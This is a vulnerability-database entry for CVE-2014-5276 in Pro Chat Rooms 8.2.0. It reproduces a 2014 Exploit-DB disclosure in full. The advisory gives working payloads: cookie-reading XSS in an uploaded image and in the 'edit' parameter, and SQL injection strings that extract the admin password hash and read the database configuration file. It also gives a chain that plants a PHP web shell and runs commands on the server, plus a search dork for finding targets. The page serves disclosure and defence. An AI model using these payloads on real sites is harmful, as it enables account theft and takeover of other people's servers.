CVE-2014-5276

low
Published 2014-10-20 ยท Modified 2026-05-06
CVSS v3
โ€”
CVSS v4 NEW
โ€”
not yet in upstream
VIR risk
4.5

Description

Multiple cross-site scripting (XSS) vulnerabilities in Pro Chat Rooms Text Chat Rooms 8.2.0 allow remote authenticated users to inject arbitrary web script or HTML via (1) an uploaded profile picture or (2) the edit parameter to profiles/index.php.

Predictions

Exploit likelihood
20%
Patch ETA
โ€”

Heuristic predictions, AS-IS, for prioritization only.

Mitigations

No mitigations published for this CVE yet.

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-34275 webapps php text ยท 6 KB
Mike Manzotti ยท 2014-08-06

Pro Chat Rooms 8.2.0 - Multiple Vulnerabilities

text exploit Source: Exploit-DB
# Exploit Title: Pro Chat Rooms v8.2.0 - Multiple Vulnerabilities
# Google Dork: intitle:"Powered by Pro Chat Rooms"
# Date: 5 August 2014
# Exploit Author: Mike Manzotti @ Dionach Ltd
# Vendor Homepage: http://prochatrooms.com
# Software Link: http://prochatrooms.com/software.php
# Version: v8.2.0
# Tested on: Debian (Apache+MySQL)

1) Stored XSS
===========

Text Chat Room Software of ProoChatRooms is vulnerable to Stored XSS. After registered an account, an attacker can upload a profile picture containing Javascript code as shown below:

POST: http://<WEBSITE>/prochatrooms/profiles/index.php?id=1<http://%3cWEBSITE%3e/prochatrooms/profiles/index.php?id=1>
Content-Disposition: form-data; name="uploadedfile"; filename="nopic333.jpg"
Content-Type: image/jpeg

<script>alert(document.cookie)</script>

By inspecting the response, the web application returns a 32 digits value in the HTML tag "imgID" as shown below:

Response:
<input type="hidden" name="imgID" value="798ae9b06cd900b95ed5a60e02419d4b">

The picture is uploaded under the directory "/profiles/uploads" and is accessible by force browsing to the 32 digits value as shown below:

http://<WEBSITE>/prochatrooms/profiles/uploads/798ae9b06cd900b95ed5a60e02419d4b<http://%3cWEBSITE%3e/prochatrooms/profiles/uploads/798ae9b06cd900b95ed5a60e02419d4b>


2) Reflected XSS
=============

Text Chat Room Software of ProoChatRooms is vulnerable to Reflected XSS. The parameter "edit" is not encoded:

http://<WEBSITE>/prochatrooms/profiles/index.php?id=1&edit="><script>alert(document.cookie)</script><http://%3cWEBSITE%3e/prochatrooms/profiles/index.php?id=1&edit=%22%3e%3cscript%3ealert(document.cookie)%3c/script%3e>


3) SQL Injection
=============

Text Chat Room Software of ProoChatRooms is vulnerable to SQL injections. Across the all source code of web application, parameterized queries are used to query the database. However, a lack of data sanitization of three parameters leaves the web application vulnerable to SQLi. The vulnerable parameters are located as shown below:

prochatrooms_v8.2.0/includes/functions.php: ~2437
$params = array(
'password' => md5($password),
'email' => makeSafe($email),
'id' => $id
);
$query = "UPDATE prochatrooms_users
              SET email = '".$email."',
                    password='".md5($password)."'
              WHERE id = '".$id."'
              ";

prochatrooms_v8.2.0/includes/functions.php: ~2449
$query = "UPDATE prochatrooms_users
              SET email = '".$email."'
              WHERE id = '".$id."'
              ";

prochatrooms_v8.2.0/includes/functions.php: ~3110
$query = "UPDATE prochatrooms_users
              SET active = '".$offlineTime."', online = '0'
              WHERE username = '".makeSafe($toname)."'
              ";

Note that the "makeSafe" function is defined as shown below and will protect against XSS attacks only:

prochatrooms_v8.2.0/includes/functions.php: ~125
function makeSafe($data)
{
      $data = htmlspecialchars($data);

      return $data;
}


After registering an account, an attacker can exploit the SQL injection by editing the field email as shown below which will retrieve the MD5 hashed password of the administrator:

POST  http://<WEBSITE>/prochatrooms/profiles/index.php?id=1<http://%3cWEBSITE%3e/prochatrooms/profiles/index.php?id=1>
Content-Disposition: form-data; name="profileEmail"

mm@1dn.eu', email=(select adminLogin from prochatrooms_config) where id ='1';#


The following SQL injection will retrieve the SQL connection string, which probably has clear-text database credentials.

POST http://<WEBSITE>/prochatrooms/profiles/index.php?id=1<http://%3cWEBSITE%3e/prochatrooms/profiles/index.php?id=1>
Content-Disposition: form-data; name="profileEmail"

mm@1dn.eu', email=(select load_file('/var/www/prochatrooms/includes/db.php')) where id ='1';#




4) Arbitrary File Upload
==================

It is possible to combine the Stored XSS and SQL injection vulnerabilities to upload a web shell on the server.

The following request will upload a PHP web shell and the web application will return a 32 digit value.

POST:  http://<WEBSITE>/prochatrooms/profiles/index.php?id=1<http://%3cWEBSITE%3e/prochatrooms/profiles/index.php?id=1>
Content-Disposition: form-data; name="uploadedfile"; filename="m.jpg"
Content-Type: application/octet-stream

<?php system($_GET[cmd]);?>

Response:
<input type="hidden" name="imgID" value="82d0635538da4eac42da25f8f95f8c45">

Since the uploaded web shell is without extension it will not be executed:

http://<WEBSITE>/prochatrooms/profiles/uploads/82d0635538da4eac42da25f8f95f8c45<http://%3cWEBSITE%3e/prochatrooms/profiles/uploads/82d0635538da4eac42da25f8f95f8c45>
<?php system($_GET[cmd]);?>

Image:
[cid:image005.png@01CFB099.8E117F70]

However, exploiting the SQL injection it is possible to rename the file by appending a .php extension

POST  http://<WEBSITE>/prochatrooms/profiles/index.php?id=1<http://%3cWEBSITE%3e/prochatrooms/profiles/index.php?id=1>
Content-Disposition: form-data; name="profileEmail"

mm@1dn.eu' where id ='1'; SELECT load_file('/var/www/prochatrooms/profiles/uploads/82d0635538da4eac42da25f8f95f8c45') INTO OUTFILE '/var/www/prochatrooms/profiles/uploads/s.php';#

Web shell:
http://<WEBSITE>/prochatrooms/profiles/uploads/s.php?cmd=id<http://%3cWEBSITE%3e/prochatrooms/profiles/uploads/s.php?cmd=id>
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Image:
[cid:image006.png@01CFB099.8E117F70]


Timeline
========
19/07/2014: Vendor informed via email
04/08/2014: Vendor informed via email
05/08/2014: Public Disclosure

Kind regards,
Mike

______________________________________________________________________

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Application impact

VendorProductVersionsFixed
pro_chat_roomstext_chat_rooms8.2.0

References

CWEs

CWE-79

Community-verified mitigations for this CVE will appear above when contributors publish them.

Verify integrity in audit chain (admin only). AS-IS.